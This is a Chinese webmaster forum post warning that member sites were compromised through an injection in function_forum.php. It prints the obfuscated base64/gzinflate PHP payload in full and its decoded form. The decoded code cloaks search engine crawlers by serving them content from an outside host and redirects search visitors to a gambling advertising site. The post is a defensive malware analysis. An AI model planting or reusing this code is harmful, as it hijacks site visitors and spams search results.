本帖最后由 民审-M 于 2016-7-6 16:13 编辑 最近,核心会员网站接连被人植入恶意代码,访问会被跳转到博彩网站,而且每个跳转网址还不一样,经过检测,发现注入点在function_forum.php文件,分析如下:
恶意代码:
eval(gzinflate(base64_decode('DdNHkqNWAADQ/VxkuosFfDI1trsQSSChT04bFzmKHASnt98d3s8/f/2M1fjrV77H3Vd51X3RxWv+lcRLTpP/Znk6ZPnXbzF73dNpVXleNHcbPRlfu7W8PaCrTfq1IEkSmCQncyZtbfX6URT9Ka1EU6AocxF5kH2w9PxwXr9W2ctfvIbd3w/i6FBUZdtNCDTqg0QxHI0XN/CnmKxPO2hXfgM4F/jUjtfDq0i70VRlp0iAdUt45qPwjWG8JE8eydZa0tnTN4xZoZwcnso66NLyEeJbZdrgTbd6YiB47hXvW72SPT2+hWw2etvFzhSHkgUvUW8IapgIykhUUaJtjknZXYPUwH0IXmL1ckPClalA4UMVUxQqlFQvH8/64aa6JAbKHcvjkz3MKARd94TlSdLaw1ojCaR3Q+U5atTeWMUHMB7EpFpw4l5E/PKJmSsqM9orT7wkoA7UhY7vWjVbYmGWUD3mDemNeiXo5mISSi2Dy6eT4B3uqNorHbaetHXzwGSk3e4Kz160+qL1XC/o8ijevKPHoSrHqX3RTQl9pxBlzq9kLnYvcmRH93zEqFyR8OgBht91/bzNGGF7mlbg2X0Daped4qK0swHSaZLCFhTmkKKn4Io+cAin2zhcypGFuI21LMuPSYfyMxhDZEwxlpdmak1IbFcOzEtvH+nS6ipqqM9opX7Dv4Jy5uVVMCGn3PUWuJm7kxKPzG6t6pAMkJbWdIaXX+5zCQn0aou0PqEXB6FRkWaI2pBmmaz7HKmw3lb0XU2b2+Xk80LgreK9kaT5V35oTPt0PIwRskXiRHHFXkQIndQuKjOX+yUFPo6VbRM3RJ5Zd7AR2aMDJbN1j9M+nzRH1nJ0s+FRJLv/Ir1B9tVP/KCFxHR9C8fQqqsmG22s8MPjoLGAskyDY06LB2xlPVnXsLG3Nx+SL41X0TPdVHeJ0qg2amdwDQVIspCkCh2pWCOOa/7wZvPpKEIDyFaknGf7YCSEiS1aixI7HfgjV4BxHS845lU0GlXQGYArAoJF9x5xUJP9+/f39/efXz//p/4P')));
加密信息,解密后如下:
代码如下:
?><?php
?><?php
?><?php
?><?php
?><?php
session_start();
error_reporting(E_ERROR);
function IstmdsbSpider(){
$ValidEntry=false;
If(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),strtolower("baidu.com")) > 0 or strpos(strtolower($_SERVER['HTTP_USER_AGENT']),strtolower("sogou.com")) > 0 or strpos(strtolower($_SERVER['HTTP_USER_AGENT']),strtolower("google.com")) > 0 or strpos(strtolower($_SERVER['HTTP_USER_AGENT']),strtolower("soso.com")) > 0 )
{
$ValidEntry = true;
}
return $ValidEntry;
}
function ChecktmdsbRefresh(){
$ValidEntry=false;
If(strpos(strtolower($_SERVER['HTTP_REFERER']),strtolower("baidu.com")) > 0 or strpos(strtolower($_SERVER['HTTP_REFERER']),strtolower("sogou.com")) > 0 or strpos(strtolower($_SERVER['HTTP_REFERER']),strtolower("google.com")) > 0 or strpos(strtolower($_SERVER['HTTP_USER_AGENT']),strtolower("soso.com")) > 0 )
{
$ValidEntry = true;
}
return $ValidEntry;
}
function Checktmdsburl(){
$ValidEntry=false;
if (strpos(strtolower($_SERVER["REQUEST_URI"]),strtolower("topicview=")) > 0 or strpos(strtolower($_SERVER["REQUEST_URI"]),strtolower("content____")) > 0 or strpos(strtolower($_SERVER["REQUEST_URI"]),strtolower("Pp")) > 0)
{
$ValidEntry = true;
}
return $ValidEntry;
}
if (!IstmdsbSpider())
{
if (ChecktmdsbRefresh())
if (Checktmdsburl())
{
header( "location: http://www.fuckworld.org/ad/ad.htm?".$_SERVER['SERVER_NAME']);
exit();
}
}else{
echo file_get_contents("http://ri.toh.info:8080/");
ob_end_flush();
}
?><?
?><?
?><?
?><?
?><?
样本:
下载地址(点击数字即可下载)→:
23070
警告:请大家注意
论坛目录权限设置,做好安全防御,如有任何协助咨询
@站长窝官方 获取帮助。
温馨提示:
首先感谢您莅临站长窝,有任何宝贵意见欢迎反馈!
帖子如有遇到:图片不显示,附件不存在,解压密码不正确,等各种问题!请联系QQ:3535510005